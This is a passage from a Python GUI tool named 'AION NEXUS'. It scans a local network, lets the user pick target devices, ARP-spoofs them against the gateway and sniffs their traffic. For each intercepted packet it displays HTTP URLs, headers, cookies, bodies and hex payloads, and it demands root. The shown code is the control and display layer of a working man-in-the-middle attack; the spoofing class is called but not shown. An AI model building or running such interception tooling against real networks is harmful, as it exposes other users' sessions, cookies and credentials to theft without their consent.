                                                   summary['dst_ip'], summary['protocol'], summary['size'], summary['info']),
                                            tags=(tag,), iid=f"pkt_{packet_id}")
                
                # Cleanup old packets from GUI
                children = self.packets_tree.get_children()
                if len(children) > self.config.MAX_PACKETS_IN_GUI:
                    for item in children[:len(children) - self.config.MAX_PACKETS_IN_GUI]:
                        self.packets_tree.delete(item)
            
            # Schedule next update
            self.root.after(self.config.GUI_UPDATE_INTERVAL_MS, update)
        
        update()
    
    def add_packet(self, summary, packet_id):
        """Add packet to pending queue (non-blocking)"""
        self.packet_count += 1
        self.pending_packets.append((summary, packet_id))
    
    # [REST OF METHODS - scan_network, start_capture, etc. - Same as before]
    
    def scan_network(self):
        def scan_thread():
            self.scanner = AdvancedNetworkScanner(self.iface_var.get())
            if self.scanner.get_network_info():
                devices = self.scanner.scan_network_parallel(self.ip_range_var.get())
                self.root.after(0, self._update_targets, devices)
        threading.Thread(target=scan_thread, daemon=True).start()
    
    def _update_targets(self, devices):
        for item in self.targets_tree.get_children():
            self.targets_tree.delete(item)
        for dev in devices:
            if dev['ip'] != self.scanner.local_ip:
                self.targets_tree.insert("", tk.END, values=("☐", dev['ip'], dev['mac']))
        self.start_btn.config(state=tk.NORMAL)
    
    def toggle_target(self, event):
        item = self.targets_tree.identify('item', event.x, event.y)
        if item:
            values = list(self.targets_tree.item(item, 'values'))
            values[0] = "☑" if values[0] == "☐" else "☐"
            self.targets_tree.item(item, values=values)
    
    def start_capture(self):
        selected = [{'ip': v[1], 'mac': v[2]} for v in 
                   [self.targets_tree.item(i, 'values') for i in self.targets_tree.get_children()] 
                   if v[0] == "☑"]
        
        if not selected:
            messagebox.showwarning("Warning", "Select targets!")
            return
        
        self.spoofer = AsyncARPSpoofer(self.scanner.interface, self.scanner.gateway_ip, self.scanner.gateway_mac)
        threading.Thread(target=lambda: self.spoofer.start_spoofing(selected), daemon=True).start()
        
        self.packet_processor = EnhancedPacketProcessor(self.config, self.ml_engine)
        self.packet_processor.start_processing(self.add_packet)
        
        threading.Thread(target=lambda: sniff(prn=self.packet_processor.enqueue_packet, store=False,
                                              stop_filter=lambda x: not self.packet_processor.processing), 
                        daemon=True).start()
        
        self.start_metrics_updater()
        self.start_btn.config(state=tk.DISABLED)
        self.stop_btn.config(state=tk.NORMAL)
    
    def stop_capture(self):
        if self.spoofer:
            self.spoofer.stop_spoofing()
        if self.packet_processor:
            self.packet_processor.stop_processing()
        self.start_btn.config(state=tk.NORMAL)
        self.stop_btn.config(state=tk.DISABLED)
    
    def search_packets(self):
        query = self.search_var.get().strip()
        if not query or not self.packet_processor:
            return
        
        matching_ids = self.packet_processor.search_packets(query)
        
        if not matching_ids:
            self.search_result_label.config(text=f"No results", fg=self.colors['accent_red'])
            return
        
        for item in self.packets_tree.get_children():
            self.packets_tree.delete(item)
        
        self.search_mode = True
        
        for pid in matching_ids:
            d = self.packet_processor.get_dissection(pid)
            if d:
                self.packets_tree.insert("", tk.END,
                                        values=(pid, d['timestamp'].strftime("%H:%M:%S.%f")[:-3],
                                               d['layers'].get('ip', {}).get('src', '0.0.0.0'),
                                               d['layers'].get('ip', {}).get('dst', '0.0.0.0'),
                                               ' → '.join(d['protocols']), d['size'], d['summary']),
                                        tags=('SEARCH_MATCH',), iid=f"search_{pid}")
        
        self.search_result_label.config(text=f"{len(matching_ids)} results", fg=self.colors['accent_green'])
    
    def clear_search(self):
        self.search_mode = False
        self.search_var.set("")
        self.search_result_label.config(text="")
        
        for item in self.packets_tree.get_children():
            self.packets_tree.delete(item)
    
    def on_packet_select(self, event):
        """Load full dissection on-demand (lazy loading)"""
        selected = self.packets_tree.selection()
        if not selected:
            return
        
        iid = selected[0]
        packet_id = int(iid.split('_')[1])
        
        # Get FULL dissection (lazy loaded)
        dissection = self.packet_processor.get_full_dissection(packet_id)
        if dissection:
            self.display_all_tabs(dissection)
    
    def display_all_tabs(self, d):
        """Display in ALL tabs"""
        # Summary
        self.summary_text.delete(1.0, tk.END)
        self.summary_text.insert(tk.END, f"{'='*70}\nPACKET ANALYSIS\n{'='*70}\n\n")
        self.summary_text.insert(tk.END, f"Time: {d['timestamp']}\n")
        self.summary_text.insert(tk.END, f"Size: {d['size']} bytes\n\n")
        
        if 'ip' in d['layers']:
            ip = d['layers']['ip']
            self.summary_text.insert(tk.END, f"IP: {ip['src']} → {ip['dst']}\n")
            self.summary_text.insert(tk.END, f"TTL: {ip['ttl']}\n\n")
        
        if 'tcp' in d['layers']:
            tcp = d['layers']['tcp']
            self.summary_text.insert(tk.END, f"TCP: {tcp['sport']} → {tcp['dport']}\n")
            flags = ', '.join([f for f, v in tcp['flags'].items() if v])
            self.summary_text.insert(tk.END, f"Flags: {flags}\n\n")
        
        if 'http' in d['layers']:
            http = d['layers']['http']
            if http['type'] == 'REQUEST':
                self.summary_text.insert(tk.END, f"HTTP {http.get('method')}\n")
                self.summary_text.insert(tk.END, f"URL: {http.get('url')}\n")
            else:
                self.summary_text.insert(tk.END, f"HTTP {http.get('status_code')} {http.get('reason')}\n")
        
        # Headers
        self.headers_text.delete(1.0, tk.END)
        if 'http' in d['layers'] and d['layers']['http'].get('headers'):
            self.headers_text.insert(tk.END, f"HTTP HEADERS\n{'='*60}\n\n")
            for k, v in d['layers']['http']['headers'].items():
                self.headers_text.insert(tk.END, f"{k}: {v}\n")
            
            if d['layers']['http'].get('cookies'):
                self.headers_text.insert(tk.END, f"\nCOOKIES\n{'='*60}\n")
                for k, v in d['layers']['http']['cookies'].items():
                    self.headers_text.insert(tk.END, f"{k} = {v}\n")
        
        # Payload
        self.payload_text.delete(1.0, tk.END)
        if 'http' in d['layers'] and d['layers']['http'].get('body'):
            self.payload_text.insert(tk.END, d['layers']['http']['body'][:5000])
        elif 'raw' in d['layers']:
            self.payload_text.insert(tk.END, d['layers']['raw'].get('data', b'').decode('utf-8', errors='ignore')[:5000])
        
        # Hex
        self.hex_text.delete(1.0, tk.END)
        if 'raw' in d['layers'] and 'data' in d['layers']['raw']:
            raw_data = d['layers']['raw']['data']
            for i in range(0, min(len(raw_data), 2048), 16):
                self.hex_text.insert(tk.END, f"{i:08x}  ")
                hex_part = ' '.join(f"{b:02x}" for b in raw_data[i:i+16])
                self.hex_text.insert(tk.END, f"{hex_part:<48}  ")
                ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in raw_data[i:i+16])
                self.hex_text.insert(tk.END, f"{ascii_part}\n")
        
        # Full
        self.full_text.delete(1.0, tk.END)
        self.full_text.insert(tk.END, json.dumps(d, default=str, indent=2))
    
    def start_metrics_updater(self):
        def update():
            if self.packet_processor and self.packet_processor.processing:
                m = self.packet_processor.metrics
                
                self.metric_labels['Packets/s'].config(text=f"{m['packets_per_sec']:,}")
                self.metric_labels['MB/s'].config(text=f"{m['bytes_per_sec']/1024/1024:.2f}")
                
                cpu = psutil.cpu_percent(interval=None)
                mem = psutil.virtual_memory().percent
                self.metric_labels['CPU %'].config(text=f"{cpu:.1f}")
                self.metric_labels['Memory %'].config(text=f"{mem:.1f}")
                
                self.stats_label.config(text=f"● Active | {self.packet_count:,} pkt | {m['packets_per_sec']:,} pkt/s")
                
                self.root.after(1000, update)
        update()
    
    def start_system_monitor(self):
        def monitor():
            cpu = psutil.cpu_percent(interval=None)
            mem = psutil.virtual_memory().percent
            self.metric_labels['CPU %'].config(text=f"{cpu:.1f}")
            self.metric_labels['Memory %'].config(text=f"{mem:.1f}")
            self.root.after(2000, monitor)
        monitor()

# ======================= MAIN =======================
if __name__ == "__main__":
    print("""
╔══════════════════════════════════════════════════════════════════════════════╗
║  AION NEXUS - PERFORMANCE OPTIMIZED                                         ║
║  ✅ No Freezing • ✅ RAM Optimized • ✅ All Features • ✅ Ultra Fast         ║
╚══════════════════════════════════════════════════════════════════════════════╝
    """)
    
    if os.name != 'nt' and os.geteuid() != 0:
        print("[ERROR] Root required: sudo python3 aion_optimized.py")
        sys.exit(1)
    
    print("[*] Performance Optimizations:")
    print("    • Batch GUI updates (no freezing)")
    print("    • Max 500 packets in GUI")
    print("    • Lazy loading for details")
    print("    • Auto memory cleanup")
    print("    • All 5 tabs available\n")
    
    root = tk.Tk()
    app = UltimateAIONGUI(root)
    root.mainloop()
